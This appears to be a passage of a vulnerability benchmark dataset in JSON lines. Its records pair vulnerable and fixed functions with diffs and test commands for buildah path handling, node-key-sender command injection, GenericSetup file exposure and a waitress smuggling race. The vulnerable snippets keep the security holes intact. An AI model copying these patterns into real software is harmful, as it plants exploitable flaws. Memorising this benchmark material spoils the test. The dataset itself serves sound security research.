\"rslave\":\n\t\t\t\t// this should be the relevant parts of the same list of options we accepted above\n\t\t\t}\n\t\t\tnewMount.Options = append(newMount.Options, argValue)\n\t\tcase \"id\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tid = argValue\n\t\tcase \"from\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tfromStage = argValue\n\t\tcase \"target\", \"dst\", \"destination\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\ttargetPath := argValue\n\t\t\tif !path.IsAbs(targetPath) {\n\t\t\t\ttargetPath = filepath.Join(workDir, targetPath)\n\t\t\t}\n\t\t\tif err := parse.ValidateVolumeCtrDir(targetPath); err != nil {\n\t\t\t\treturn newMount, nil, err\n\t\t\t}\n\t\t\tnewMount.Destination = targetPath\n\t\t\tsetDest = true\n\t\tcase \"src\", \"source\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tnewMount.Source = argValue\n\t\tcase \"mode\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tmode, err = strconv.ParseUint(argValue, 8, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"unable to parse cache mode: %w\", err)\n\t\t\t}\n\t\tcase \"uid\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tuid, err = strconv.Atoi(argValue)\n\t\t\tif err != nil {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"unable to parse cache uid: %w\", err)\n\t\t\t}\n\t\tcase \"gid\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tgid, err = strconv.Atoi(argValue)\n\t\t\tif err != nil {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"unable to parse cache gid: %w\", err)\n\t\t\t}\n\t\tdefault:\n\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadMntOption)\n\t\t}\n\t}\n\n\t// If selinux is enabled and no selinux option was configured\n\t// default to `z` i.e shared content label.\n\tif !foundSElinuxLabel && (selinux.EnforceMode() != selinux.Disabled) && fromStage == \"\" {\n\t\tnewMount.Options = append(newMount.Options, \"z\")\n\t}\n\n\tif !setDest {\n\t\treturn newMount, nil, errBadVolDest\n\t}\n\n\tif fromStage != \"\" {\n\t\t// do not create and use a cache directory on the host,\n\t\t// instead use the location in the mounted stage or\n\t\t// temporary directory as the cache\n\t\tmountPoint := \"\"\n\t\tif additionalMountPoints != nil {\n\t\t\tif val, ok := additionalMountPoints[fromStage]; ok {\n\t\t\t\tif val.IsStage {\n\t\t\t\t\tmountPoint = val.MountPoint\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Cache does not support using an image so if there's no such\n\t\t// stage or temporary directory, return an error\n\t\tif mountPoint == \"\" {\n\t\t\treturn newMount, nil, fmt.Errorf(\"no stage found with name %s\", fromStage)\n\t\t}\n\t\t// path should be /contextDir/specified path\n\t\tnewMount.Source = filepath.Join(mountPoint, filepath.Clean(string(filepath.Separator)+newMount.Source))\n\t} else {\n\t\t// we need to create the cache directory on the host if no image is being used\n\n\t\t// since type is cache and a cache can be reused by consecutive builds\n\t\t// create a common cache directory, which persists on hosts within temp lifecycle\n\t\t// add subdirectory if specified\n\n\t\t// cache parent directory: creates separate cache parent for each user.\n\t\tcacheParent := CacheParent()\n\t\t// create cache on host if not present\n\t\terr = os.MkdirAll(cacheParent, os.FileMode(0o755))\n\t\tif err != nil {\n\t\t\treturn newMount, nil, fmt.Errorf(\"unable to create build cache directory: %w\", err)\n\t\t}\n\n\t\tif id != \"\" {\n\t\t\tnewMount.Source = filepath.Join(cacheParent, filepath.Clean(id))\n\t\t\tbuildahLockFilesDir = filepath.Join(BuildahCacheLockfileDir, filepath.Clean(id))\n\t\t} else {\n\t\t\tnewMount.Source = filepath.Join(cacheParent, filepath.Clean(newMount.Destination))\n\t\t\tbuildahLockFilesDir = filepath.Join(BuildahCacheLockfileDir, filepath.Clean(newMount.Destination))\n\t\t}\n\t\tidPair := idtools.IDPair{\n\t\t\tUID: uid,\n\t\t\tGID: gid,\n\t\t}\n\t\t// buildkit parity: change uid and gid if specified, otherwise keep `0`\n\t\terr = idtools.MkdirAllAndChownNew(newMount.Source, os.FileMode(mode), idPair)\n\t\tif err != nil {\n\t\t\treturn newMount, nil, fmt.Errorf(\"unable to change uid,gid of cache directory: %w\", err)\n\t\t}\n\n\t\t// create a subdirectory inside `cacheParent` just to store lockfiles\n\t\tbuildahLockFilesDir = filepath.Join(cacheParent, buildahLockFilesDir)\n\t\terr = os.MkdirAll(buildahLockFilesDir, os.FileMode(0o700))\n\t\tif err != nil {\n\t\t\treturn newMount, nil, fmt.Errorf(\"unable to create build cache lockfiles directory: %w\", err)\n\t\t}\n\t}\n\n\tvar targetLock *lockfile.LockFile // = nil\n\tsucceeded := false\n\tdefer func() {\n\t\tif !succeeded && targetLock != nil {\n\t\t\ttargetLock.Unlock()\n\t\t}\n\t}()\n\tswitch sharing {\n\tcase \"locked\":\n\t\t// lock parent cache\n\t\tlockfile, err := lockfile.GetLockFile(filepath.Join(buildahLockFilesDir, BuildahCacheLockfile))\n\t\tif err != nil {\n\t\t\treturn newMount, nil, fmt.Errorf(\"unable to acquire lock when sharing mode is locked: %w\", err)\n\t\t}\n\t\t// Will be unlocked after the RUN step is executed.\n\t\tlockfile.Lock()\n\t\ttargetLock = lockfile\n\tcase \"shared\":\n\t\t// do nothing since default is `shared`\n\t\tbreak\n\tdefault:\n\t\t// error out for unknown values\n\t\treturn newMount, nil, fmt.Errorf(\"unrecognized value %q for field `sharing`: %w\", sharing, err)\n\t}\n\n\t// buildkit parity: default sharing should be shared\n\t// unless specified\n\tif !setShared {\n\t\tnewMount.Options = append(newMount.Options, \"shared\")\n\t}\n\n\t// buildkit parity: cache must writable unless `ro` or `readonly` is configured explicitly\n\tif !setReadOnly {\n\t\tnewMount.Options = append(newMount.Options, \"rw\")\n\t}\n\n\tnewMount.Options = append(newMount.Options, \"bind\")\n\n\topts, err := parse.ValidateVolumeOpts(newMount.Options)\n\tif err != nil {\n\t\treturn newMount, nil, err\n\t}\n\tnewMount.Options = opts\n\n\tsucceeded = true\n\treturn newMount, targetLock, nil\n}"}], "fix_func": [{"id": "fix_go_104_1", "commit": "aa67e5d", "file_path": "internal/volumes/volumes.go", "start_line": 233, "end_line": 473, "snippet": "func GetCacheMount(args []string, _ storage.Store, _ string, additionalMountPoints map[string]internal.StageMountDetails, workDir string) (specs.Mount, *lockfile.LockFile, error) {\n\tvar err error\n\tvar mode uint64\n\tvar buildahLockFilesDir string\n\tvar (\n\t\tsetDest           bool\n\t\tsetShared         bool\n\t\tsetReadOnly       bool\n\t\tfoundSElinuxLabel bool\n\t)\n\tfromStage := \"\"\n\tnewMount := specs.Mount{\n\t\tType: define.TypeBind,\n\t}\n\t// if id is set a new subdirectory with `id` will be created under /host-temp/buildah-build-cache/id\n\tid := \"\"\n\t// buildkit parity: cache directory defaults to 0o755\n\tmode = 0o755\n\t// buildkit parity: cache directory defaults to uid 0 if not specified\n\tuid := 0\n\t// buildkit parity: cache directory defaults to gid 0 if not specified\n\tgid := 0\n\t// sharing mode\n\tsharing := \"shared\"\n\n\tfor _, val := range args {\n\t\targName, argValue, hasArgValue := strings.Cut(val, \"=\")\n\t\tswitch argName {\n\t\tcase \"type\":\n\t\t\t// This is already processed\n\t\t\tcontinue\n\t\tcase \"nosuid\", \"nodev\", \"noexec\":\n\t\t\t// TODO: detect duplication of these options.\n\t\t\t// (Is this necessary?)\n\t\t\tnewMount.Options = append(newMount.Options, argName)\n\t\tcase \"rw\", \"readwrite\":\n\t\t\tnewMount.Options = append(newMount.Options, \"rw\")\n\t\tcase \"readonly\", \"ro\":\n\t\t\t// Alias for \"ro\"\n\t\t\tnewMount.Options = append(newMount.Options, \"ro\")\n\t\t\tsetReadOnly = true\n\t\tcase \"Z\", \"z\":\n\t\t\tnewMount.Options = append(newMount.Options, argName)\n\t\t\tfoundSElinuxLabel = true\n\t\tcase \"shared\", \"rshared\", \"private\", \"rprivate\", \"slave\", \"rslave\", \"U\":\n\t\t\tnewMount.Options = append(newMount.Options, argName)\n\t\t\tsetShared = true\n\t\tcase \"sharing\":\n\t\t\tsharing = argValue\n\t\tcase \"bind-propagation\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tswitch argValue {\n\t\t\tdefault:\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %q: %w\", argName, argValue, errBadMntOption)\n\t\t\tcase \"shared\", \"rshared\", \"private\", \"rprivate\", \"slave\", \"rslave\":\n\t\t\t\t// this should be the relevant parts of the same list of options we accepted above\n\t\t\t}\n\t\t\tnewMount.Options = append(newMount.Options, argValue)\n\t\tcase \"id\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tid = argValue\n\t\tcase \"from\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tfromStage = argValue\n\t\tcase \"target\", \"dst\", \"destination\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\ttargetPath := argValue\n\t\t\tif !path.IsAbs(targetPath) {\n\t\t\t\ttargetPath = filepath.Join(workDir, targetPath)\n\t\t\t}\n\t\t\tif err := parse.ValidateVolumeCtrDir(targetPath); err != nil {\n\t\t\t\treturn newMount, nil, err\n\t\t\t}\n\t\t\tnewMount.Destination = targetPath\n\t\t\tsetDest = true\n\t\tcase \"src\", \"source\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tnewMount.Source = argValue\n\t\tcase \"mode\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tmode, err = strconv.ParseUint(argValue, 8, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"unable to parse cache mode: %w\", err)\n\t\t\t}\n\t\tcase \"uid\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tuid, err = strconv.Atoi(argValue)\n\t\t\tif err != nil {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"unable to parse cache uid: %w\", err)\n\t\t\t}\n\t\tcase \"gid\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tgid, err = strconv.Atoi(argValue)\n\t\t\tif err != nil {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"unable to parse cache gid: %w\", err)\n\t\t\t}\n\t\tdefault:\n\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadMntOption)\n\t\t}\n\t}\n\n\t// If selinux is enabled and no selinux option was configured\n\t// default to `z` i.e shared content label.\n\tif !foundSElinuxLabel && (selinux.EnforceMode() != selinux.Disabled) && fromStage == \"\" {\n\t\tnewMount.Options = append(newMount.Options, \"z\")\n\t}\n\n\tif !setDest {\n\t\treturn newMount, nil, errBadVolDest\n\t}\n\n\tif fromStage != \"\" {\n\t\t// do not create and use a cache directory on the host,\n\t\t// instead use the location in the mounted stage or\n\t\t// temporary directory as the cache\n\t\tmountPoint := \"\"\n\t\tif additionalMountPoints != nil {\n\t\t\tif val, ok := additionalMountPoints[fromStage]; ok {\n\t\t\t\tif val.IsStage {\n\t\t\t\t\tmountPoint = val.MountPoint\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Cache does not support using an image so if there's no such\n\t\t// stage or temporary directory, return an error\n\t\tif mountPoint == \"\" {\n\t\t\treturn newMount, nil, fmt.Errorf(\"no stage found with name %s\", fromStage)\n\t\t}\n\t\t// path should be /contextDir/specified path\n\t\tevaluated, err := copier.Eval(mountPoint, string(filepath.Separator)+newMount.Source, copier.EvalOptions{})\n\t\tif err != nil {\n\t\t\treturn newMount, nil, err\n\t\t}\n\t\tnewMount.Source = evaluated\n\t} else {\n\t\t// we need to create the cache directory on the host if no image is being used\n\n\t\t// since type is cache and a cache can be reused by consecutive builds\n\t\t// create a common cache directory, which persists on hosts within temp lifecycle\n\t\t// add subdirectory if specified\n\n\t\t// cache parent directory: creates separate cache parent for each user.\n\t\tcacheParent := CacheParent()\n\t\t// create cache on host if not present\n\t\terr = os.MkdirAll(cacheParent, os.FileMode(0o755))\n\t\tif err != nil {\n\t\t\treturn newMount, nil, fmt.Errorf(\"unable to create build cache directory: %w\", err)\n\t\t}\n\n\t\tif id != \"\" {\n\t\t\t// Don't let the user control where we place the directory.\n\t\t\tdirID := digest.FromString(id).Encoded()[:16]\n\t\t\tnewMount.Source = filepath.Join(cacheParent, dirID)\n\t\t\tbuildahLockFilesDir = filepath.Join(BuildahCacheLockfileDir, dirID)\n\t\t} else {\n\t\t\t// Don't let the user control where we place the directory.\n\t\t\tdirID := digest.FromString(newMount.Destination).Encoded()[:16]\n\t\t\tnewMount.Source = filepath.Join(cacheParent, dirID)\n\t\t\tbuildahLockFilesDir = filepath.Join(BuildahCacheLockfileDir, dirID)\n\t\t}\n\t\tidPair := idtools.IDPair{\n\t\t\tUID: uid,\n\t\t\tGID: gid,\n\t\t}\n\t\t// buildkit parity: change uid and gid if specified, otherwise keep `0`\n\t\terr = idtools.MkdirAllAndChownNew(newMount.Source, os.FileMode(mode), idPair)\n\t\tif err != nil {\n\t\t\treturn newMount, nil, fmt.Errorf(\"unable to change uid,gid of cache directory: %w\", err)\n\t\t}\n\n\t\t// create a subdirectory inside `cacheParent` just to store lockfiles\n\t\tbuildahLockFilesDir = filepath.Join(cacheParent, buildahLockFilesDir)\n\t\terr = os.MkdirAll(buildahLockFilesDir, os.FileMode(0o700))\n\t\tif err != nil {\n\t\t\treturn newMount, nil, fmt.Errorf(\"unable to create build cache lockfiles directory: %w\", err)\n\t\t}\n\t}\n\n\tvar targetLock *lockfile.LockFile // = nil\n\tsucceeded := false\n\tdefer func() {\n\t\tif !succeeded && targetLock != nil {\n\t\t\ttargetLock.Unlock()\n\t\t}\n\t}()\n\tswitch sharing {\n\tcase \"locked\":\n\t\t// lock parent cache\n\t\tlockfile, err := lockfile.GetLockFile(filepath.Join(buildahLockFilesDir, BuildahCacheLockfile))\n\t\tif err != nil {\n\t\t\treturn newMount, nil, fmt.Errorf(\"unable to acquire lock when sharing mode is locked: %w\", err)\n\t\t}\n\t\t// Will be unlocked after the RUN step is executed.\n\t\tlockfile.Lock()\n\t\ttargetLock = lockfile\n\tcase \"shared\":\n\t\t// do nothing since default is `shared`\n\t\tbreak\n\tdefault:\n\t\t// error out for unknown values\n\t\treturn newMount, nil, fmt.Errorf(\"unrecognized value %q for field `sharing`: %w\", sharing, err)\n\t}\n\n\t// buildkit parity: default sharing should be shared\n\t// unless specified\n\tif !setShared {\n\t\tnewMount.Options = append(newMount.Options, \"shared\")\n\t}\n\n\t// buildkit parity: cache must writable unless `ro` or `readonly` is configured explicitly\n\tif !setReadOnly {\n\t\tnewMount.Options = append(newMount.Options, \"rw\")\n\t}\n\n\tnewMount.Options = append(newMount.Options, \"bind\")\n\n\topts, err := parse.ValidateVolumeOpts(newMount.Options)\n\tif err != nil {\n\t\treturn newMount, nil, err\n\t}\n\tnewMount.Options = opts\n\n\tsucceeded = true\n\treturn newMount, targetLock, nil\n}"}], "vul_patch": "--- a/internal/volumes/volumes.go\n+++ b/internal/volumes/volumes.go\n@@ -143,7 +143,11 @@\n \t\t\treturn newMount, nil, fmt.Errorf(\"no stage found with name %s\", fromStage)\n \t\t}\n \t\t// path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(mountPoint, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(mountPoint, string(filepath.Separator)+newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, nil, err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n \t} else {\n \t\t// we need to create the cache directory on the host if no image is being used\n \n@@ -160,11 +164,15 @@\n \t\t}\n \n \t\tif id != \"\" {\n-\t\t\tnewMount.Source = filepath.Join(cacheParent, filepath.Clean(id))\n-\t\t\tbuildahLockFilesDir = filepath.Join(BuildahCacheLockfileDir, filepath.Clean(id))\n+\t\t\t// Don't let the user control where we place the directory.\n+\t\t\tdirID := digest.FromString(id).Encoded()[:16]\n+\t\t\tnewMount.Source = filepath.Join(cacheParent, dirID)\n+\t\t\tbuildahLockFilesDir = filepath.Join(BuildahCacheLockfileDir, dirID)\n \t\t} else {\n-\t\t\tnewMount.Source = filepath.Join(cacheParent, filepath.Clean(newMount.Destination))\n-\t\t\tbuildahLockFilesDir = filepath.Join(BuildahCacheLockfileDir, filepath.Clean(newMount.Destination))\n+\t\t\t// Don't let the user control where we place the directory.\n+\t\t\tdirID := digest.FromString(newMount.Destination).Encoded()[:16]\n+\t\t\tnewMount.Source = filepath.Join(cacheParent, dirID)\n+\t\t\tbuildahLockFilesDir = filepath.Join(BuildahCacheLockfileDir, dirID)\n \t\t}\n \t\tidPair := idtools.IDPair{\n \t\t\tUID: uid,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7627", "cve_description": "node-key-sender through 1.0.11 is vulnerable to Command Injection. It allows execution of arbitrary commands via the 'arrParams' argument in the 'execute()' function.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}}, "repo": "https://github.com/garimpeiro-it/node-key-sender", "patch_url": ["https://github.com/garimpeiro-it/node-key-sender/commit/bea7d317576efa981536a6bf4dd3ff2f5660be44"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_14_1", "commit": "795eafe", "file_path": "key-sender.js", "start_line": 111, "end_line": 125, "snippet": "    module.execute = function(arrParams) {\n        return new Promise(function(resolve, reject) {\n            var jarPath = path.join(__dirname, 'jar', 'key-sender.jar');\n\n            var command = 'java -jar \\\"' + jarPath + '\\\" ' + arrParams.join(' ') + module.getCommandLineOptions();\n\n            return exec(command, {}, function(error, stdout, stderr) {\n                if (error == null) {\n                    resolve(stdout, stderr);\n                } else {\n                    reject(error, stdout, stderr);\n                }\n            });\n        });\n    };"}], "fix_func": [{"id": "fix_js_14_1", "commit": "bea7d317576efa981536a6bf4dd3ff2f5660be44", "file_path": "key-sender.js", "start_line": 111, "end_line": 125, "snippet": "    module.execute = function(arrParams) {\n        return new Promise(function(resolve, reject) {\n            var jarPath = path.join(__dirname, 'jar', 'key-sender.jar');\n\n            var command = ['-jar', jarPath, arrParams.join(' '), module.getCommandLineOptions()];\n\n            return exec('java', command, {}, function(error, stdout, stderr) {\n                if (error == null) {\n                    resolve(stdout, stderr);\n                } else {\n                    reject(error, stdout, stderr);\n                }\n            });\n        });\n    };"}], "vul_patch": "--- a/key-sender.js\n+++ b/key-sender.js\n@@ -2,9 +2,9 @@\n         return new Promise(function(resolve, reject) {\n             var jarPath = path.join(__dirname, 'jar', 'key-sender.jar');\n \n-            var command = 'java -jar \\\"' + jarPath + '\\\" ' + arrParams.join(' ') + module.getCommandLineOptions();\n+            var command = ['-jar', jarPath, arrParams.join(' '), module.getCommandLineOptions()];\n \n-            return exec(command, {}, function(error, stdout, stderr) {\n+            return exec('java', command, {}, function(error, stdout, stderr) {\n                 if (error == null) {\n                     resolve(stdout, stderr);\n                 } else {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7627:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-key-sender\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2021-21360", "cve_description": "Products.GenericSetup is a mini-framework for expressing the configured state of a Zope Site as a set of filesystem artifacts. In Products.GenericSetup before version 2.1.1 there is an information disclosure vulnerability - anonymous visitors may view log and snapshot files generated by the Generic Setup Tool. The problem has been fixed in version 2.1.1. Depending on how you have installed Products.GenericSetup, you should change the buildout version pin to 2.1.1 and re-run the buildout, or if you used pip simply do pip install `\"Products.GenericSetup>=2.1.1\"`.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/zopefoundation/Products.GenericSetup", "patch_url": ["https://github.com/zopefoundation/Products.GenericSetup/commit/700319512b3615b3871a1f24e096cf66dc488c57"], "programing_language": "Python", "vul_func": [{"id": "vul_py_51_1", "commit": "835c1ac", "file_path": "src/Products/GenericSetup/context.py", "start_line": 482, "end_line": 501, "snippet": "    def writeDataFile(self, filename, text, content_type, subdir=None):\n        \"\"\" See IExportContext.\n        \"\"\"\n        if subdir is not None:\n            filename = '/'.join((subdir, filename))\n\n        sep = filename.rfind('/')\n        if sep != -1:\n            subdir = filename[:sep]\n            filename = filename[sep+1:]\n\n        if six.PY2 and isinstance(text, six.text_type):\n            encoding = self.getEncoding() or 'utf-8'\n            text = text.encode(encoding)\n\n        folder = self._ensureSnapshotsFolder(subdir)\n\n        # MISSING: switch on content_type\n        ob = self._createObjectByType(filename, text, content_type)\n        folder._setObject(str(filename), ob)  # No Unicode IDs!"}, {"id": "vul_py_51_2", "commit": "835c1ac", "file_path": "src/Products/GenericSetup/context.py", "start_line": 547, "end_line": 565, "snippet": "    def _ensureSnapshotsFolder(self, subdir=None):\n        \"\"\" Ensure that the appropriate snapshot folder exists.\n        \"\"\"\n        path = ['snapshots', self._snapshot_id]\n\n        if subdir is not None:\n            path.extend(subdir.split('/'))\n\n        current = self._tool\n\n        for element in path:\n\n            if element not in current.objectIds():\n                # No Unicode IDs!\n                current._setObject(str(element), Folder(element))\n\n            current = current._getOb(element)\n\n        return current"}], "fix_func": [{"id": "fix_py_51_1", "commit": "700319512b3615b3871a1f24e096cf66dc488c57", "file_path": "src/Products/GenericSetup/context.py", "start_line": 483, "end_line": 506, "snippet": "    def writeDataFile(self, filename, text, content_type, subdir=None):\n        \"\"\" See IExportContext.\n        \"\"\"\n        if subdir is not None:\n            filename = '/'.join((subdir, filename))\n\n        sep = filename.rfind('/')\n        if sep != -1:\n            subdir = filename[:sep]\n            filename = filename[sep+1:]\n\n        if six.PY2 and isinstance(text, six.text_type):\n            encoding = self.getEncoding() or 'utf-8'\n            text = text.encode(encoding)\n\n        folder = self._ensureSnapshotsFolder(subdir)\n\n        # MISSING: switch on content_type\n        ob = self._createObjectByType(filename, text, content_type)\n        folder._setObject(str(filename), ob)  # No Unicode IDs!\n        # Tighten the View permission on the new object.\n        # Only the owner and Manager users may view the log.\n        # file_ob = self._getOb(name)\n        ob.manage_permission(view, ('Manager', 'Owner'), 0)"}, {"id": "fix_py_51_2", "commit": "700319512b3615b3871a1f24e096cf66dc488c57", "file_path": "src/Products/GenericSetup/context.py", "start_line": 552, "end_line": 572, "snippet": "    def _ensureSnapshotsFolder(self, subdir=None):\n        \"\"\" Ensure that the appropriate snapshot folder exists.\n        \"\"\"\n        path = ['snapshots', self._snapshot_id]\n\n        if subdir is not None:\n            path.extend(subdir.split('/'))\n\n        current = self._tool\n\n        for element in path:\n\n            if element not in current.objectIds():\n                # No Unicode IDs!\n                current._setObject(str(element), Folder(element))\n                current = current._getOb(element)\n                current.manage_permission(view, ('Manager', 'Owner'), 0)\n            else:\n                current = current._getOb(element)\n\n        return current"}], "vul_patch": "--- a/src/Products/GenericSetup/context.py\n+++ b/src/Products/GenericSetup/context.py\n@@ -18,3 +18,7 @@\n         # MISSING: switch on content_type\n         ob = self._createObjectByType(filename, text, content_type)\n         folder._setObject(str(filename), ob)  # No Unicode IDs!\n+        # Tighten the View permission on the new object.\n+        # Only the owner and Manager users may view the log.\n+        # file_ob = self._getOb(name)\n+        ob.manage_permission(view, ('Manager', 'Owner'), 0)\n\n--- a/src/Products/GenericSetup/context.py\n+++ b/src/Products/GenericSetup/context.py\n@@ -13,7 +13,9 @@\n             if element not in current.objectIds():\n                 # No Unicode IDs!\n                 current._setObject(str(element), Folder(element))\n-\n-            current = current._getOb(element)\n+                current = current._getOb(element)\n+                current.manage_permission(view, ('Manager', 'Owner'), 0)\n+            else:\n+                current = current._getOb(element)\n \n         return current\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21360:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/Products.GenericSetup\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-21360/bin/python -m pytest src/Products/GenericSetup/tests/test_tool.py::SetupToolTests::test_runAllImportStepsFromProfile_unicode_id_creates_reports src/Products/GenericSetup/tests/test_tool.py::SetupToolTests::test_createSnapshot_default -p no:warning --disable-warnings --import-mode=importlib\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21360:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/Products.GenericSetup\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-21360/bin/python -m pytest src/Products/GenericSetup/tests/test_tool.py -p no:warning --disable-warnings --import-mode=importlib\n"}
{"cve_id": "CVE-2024-49768", "cve_description": "Waitress is a Web Server Gateway Interface server for Python 2 and 3. A remote client may send a request that is exactly recv_bytes (defaults to 8192) long, followed by a secondary request using HTTP pipelining. When request lookahead is disabled (default) we won't read any more requests, and when the first request fails due to a parsing error, we simply close the connection. However when request lookahead is enabled, it is possible to process and receive the first request, start sending the error message back to the client while we read the next request and queue it. This will allow the secondary request to be serviced by the worker thread while the connection should be closed. Waitress 3.0.1 fixes the race condition. As a workaround, disable channel_request_lookahead, this is set to 0 by default disabling this feature.", "cwe_info": {"CWE-444": {"name": "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')", "description": "The product acts as an intermediary HTTP agent\n         (such as a proxy or firewall) in the data flow between two\n         entities such as a client and server, but it does not\n         interpret malformed HTTP requests or responses in ways that\n         are consistent with how the messages will be processed by\n         those entities that are at the ultimate destination."}}, "repo": "https://github.com/Pylons/waitress", "patch_url": ["https://github.com/Pylons/waitress/commit/e4359018537af376cf24bd13616d861e2fb76f65"], "programing_language": "Python", "vul_func": [{"id": "vul_py_104_1", "commit": "fdd2ecf", "file_path": "src/waitress/channel.py", "start_line": "189", "end_line": "234", "snippet": "    def received(self, data):\n        \"\"\"\n        Receives input asynchronously and assigns one or more requests to the\n        channel.\n        \"\"\"\n\n        if not data:\n            return False\n\n        with self.requests_lock:\n            while data:\n                if self.request is None:\n                    self.request = self.parser_class(self.adj)\n                n = self.request.received(data)\n\n                # if there are requests queued, we can not send the continue\n                # header yet since the responses need to be kept in order\n\n                if (\n                    self.request.expect_continue\n                    and self.request.headers_finished\n                    and not self.requests\n                    and not self.sent_continue\n                ):\n                    self.send_continue()\n\n                if self.request.completed:\n                    # The request (with the body) is ready to use.\n                    self.sent_continue = False\n\n                    if not self.request.empty:\n                        self.requests.append(self.request)\n\n                        if len(self.requests) == 1:\n                            # self.requests was empty before so the main thread\n                            # is in charge of starting the task. Otherwise,\n                            # service() will add a new task after each request\n                            # has been processed\n                            self.server.add_task(self)\n                    self.request = None\n\n                if n >= len(data):\n                    break\n                data = data[n:]\n\n        return True"}], "fix_func": [{"id": "fix_py_104_1", "commit": "e435901", "file_path": "src/waitress/channel.py", "start_line": "189", "end_line": "243", "snippet": "    def received(self, data):\n        \"\"\"\n        Receives input asynchronously and assigns one or more requests to the\n        channel.\n        \"\"\"\n\n        if not data:\n            return False\n\n        with self.requests_lock:\n            # Don't bother processing anymore data if this connection is about\n            # to close. This may happen if readable() returned True, on the\n            # main thread before the service thread set the close_when_flushed\n            # flag, and we read data but our service thread is attempting to\n            # shut down the connection due to an error. We want to make sure we\n            # do this while holding the request_lock so that we can't race\n            if self.will_close or self.close_when_flushed:\n                return False\n\n            while data:\n                if self.request is None:\n                    self.request = self.parser_class(self.adj)\n                n = self.request.received(data)\n\n                # if there are requests queued, we can not send the continue\n                # header yet since the responses need to be kept in order\n\n                if (\n                    self.request.expect_continue\n                    and self.request.headers_finished\n                    and not self.requests\n                    and not self.sent_continue\n                ):\n                    self.send_continue()\n\n                if self.request.completed:\n                    # The request (with the body) is ready to use.\n                    self.sent_continue = False\n\n                    if not self.request.empty:\n                        self.requests.append(self.request)\n\n                        if len(self.requests) == 1:\n                            # self.requests was empty before so the main thread\n                            # is in charge of starting the task. 